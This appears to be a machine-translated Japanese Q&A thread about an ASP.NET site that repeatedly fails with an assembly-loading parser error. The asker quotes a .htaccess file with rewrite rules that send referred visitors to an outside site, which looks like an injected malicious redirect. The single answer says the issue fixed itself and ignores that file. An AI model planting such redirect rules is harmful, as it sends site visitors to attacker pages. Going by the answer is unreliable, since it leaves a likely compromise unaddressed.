2

Web サイトは 2 か月間正常に動作していましたが、現在はエラーが表示されます。

Server Error in '/' Application.
Parser Error
Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately.
Parser Error Message: Could not load the assembly 'App_Web_ir1tlux4'. Make sure that it is compiled before accessing the page.
Line 1:  <%@ page title="MIS for Cattle & Buffalo - Home" language="C#" masterpagefile="~/MainMaster.master" autoeventwireup="true" inherits="index, App_Web_ir1tlux4" %>

奇妙なことに、新しく公開されたバージョンを再アップロードすると、Web サイトは 30 時間は問題なく動作し、その後再び上記のエラーが表示されます。

助けてください

web.config ファイルのさまざまな変更と、同様のスレッドで forums.asp.net の他の提案を試してみましたが、何もうまくいかないようです

また、次の内容のファイル .htaccess が FTP にのみ表示されます。このファイルがホスティング会社のサーバーによって追加されると、問題が発生すると思います。

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
    RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
    RewriteRule ^.*$ http://travlor.com/acgu.html [L,R]
</IfModule>
4

1 に答える 1

0

新しいことは何もしませんでしたが、修正されました。ホスティング サーバーの IIS が、アプリケーションとして追加された [マイ Web サイト] フォルダーの設定を変更したに違いないと思います。

だから何もすることなく解決する

于 2012-12-24T09:34:43.747 に答える